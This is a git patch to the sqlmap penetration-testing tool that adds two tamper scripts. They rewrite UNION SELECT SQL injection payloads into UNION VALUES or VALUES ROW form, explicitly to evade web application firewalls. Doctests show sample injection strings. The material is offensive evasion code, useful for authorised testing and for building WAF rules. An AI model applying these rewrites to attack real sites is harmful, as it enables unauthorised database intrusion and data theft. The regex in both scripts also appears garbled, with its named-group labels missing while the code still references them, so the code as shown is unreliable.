From 319910ccd8b5267173749758f1ca91836ca610b3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 14 Aug 2026 22:56:50 +0200 Subject: [PATCH] Adding two new tamper scripts --- lib/core/settings.py | 2 +- tamper/unionvalues.py | 60 ++++++++++++++++++++++++++++++++++++++++ tamper/unionvaluesrow.py | 54 ++++++++++++++++++++++++++++++++++++ 3 files changed, 115 insertions(+), 1 deletion(-) create mode 100644 tamper/unionvalues.py create mode 100644 tamper/unionvaluesrow.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2774b64a2..d3c15b876 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.33" +VERSION = "1.10.8.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/unionvalues.py b/tamper/unionvalues.py new file mode 100644 index 000000000..29606f375 --- /dev/null +++ b/tamper/unionvalues.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces UNION SELECT with the standard SQL table value constructor UNION VALUES () + + Requirement: + * MariaDB + * PostgreSQL + * SQLite + * CockroachDB + * CrateDB + * Presto + + Tested against: + * MariaDB 10.11.14, 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * CockroachDB, CrateDB, Trino + + Notes: + * Useful to bypass web application firewalls keying on the 'UNION.*SELECT' pair, as the + resulting payload carries no SELECT token at all + * MySQL requires the row constructor to be spelled 'VALUES ROW(...)' and rejects this form + (see tamper script 'unionvaluesrow'), while Oracle and Microsoft SQL Server have no + standalone VALUES query at all + * A table value constructor takes no FROM clause, hence payloads carrying one (e.g. those + produced by --union-from) are deliberately left untouched + + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -') + '-1 UNION ALL VALUES (NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL)-- -' + >>> tamper('-1 UNION SELECT 45,45#') + '-1 UNION VALUES (45,45)#' + >>> tamper('-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -') + '-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -' + """ + + def _(match): + columns = match.group("columns").rstrip() + + if re.search(r"(?i)\bFROM\b", columns): + return match.group(0) + + return "%s%s VALUES (%s)" % (match.group("union"), match.group("all") or "", columns) + + return re.sub(r"(?i)(?PUNION)(?P\s+ALL)?\s+SELECT\s+(?P.+?)(?=(?:--|#|/\*)|$)", _, payload) if payload else payload diff --git a/tamper/unionvaluesrow.py b/tamper/unionvaluesrow.py new file mode 100644 index 000000000..6c7e16565 --- /dev/null +++ b/tamper/unionvaluesrow.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces UNION SELECT with the (MySQL) table value constructor UNION VALUES ROW() + + Requirement: + * MySQL >= 8.0.19 + + Tested against: + * MySQL 8.0.46, 8.4.9 + + Notes: + * Useful to bypass web application firewalls keying on the 'UNION.*SELECT' pair, as the + resulting payload carries no SELECT token at all + * MySQL mandates the ROW keyword here, while MariaDB and the other engines supporting a + standalone VALUES query reject it (see tamper script 'unionvalues') + * A table value constructor takes no FROM clause, hence payloads carrying one (e.g. those + produced by --union-from) are deliberately left untouched + + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -') + '-1 UNION ALL VALUES ROW(NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL)-- -' + >>> tamper('-1 UNION SELECT 45,45#') + '-1 UNION VALUES ROW(45,45)#' + >>> tamper('-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -') + '-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -' + """ + + def _(match): + columns = match.group("columns").rstrip() + + if re.search(r"(?i)\bFROM\b", columns): + return match.group(0) + + return "%s%s VALUES ROW(%s)" % (match.group("union"), match.group("all") or "", columns) + + return re.sub(r"(?i)(?PUNION)(?P\s+ALL)?\s+SELECT\s+(?P.+?)(?=(?:--|#|/\*)|$)", _, payload) if payload else payload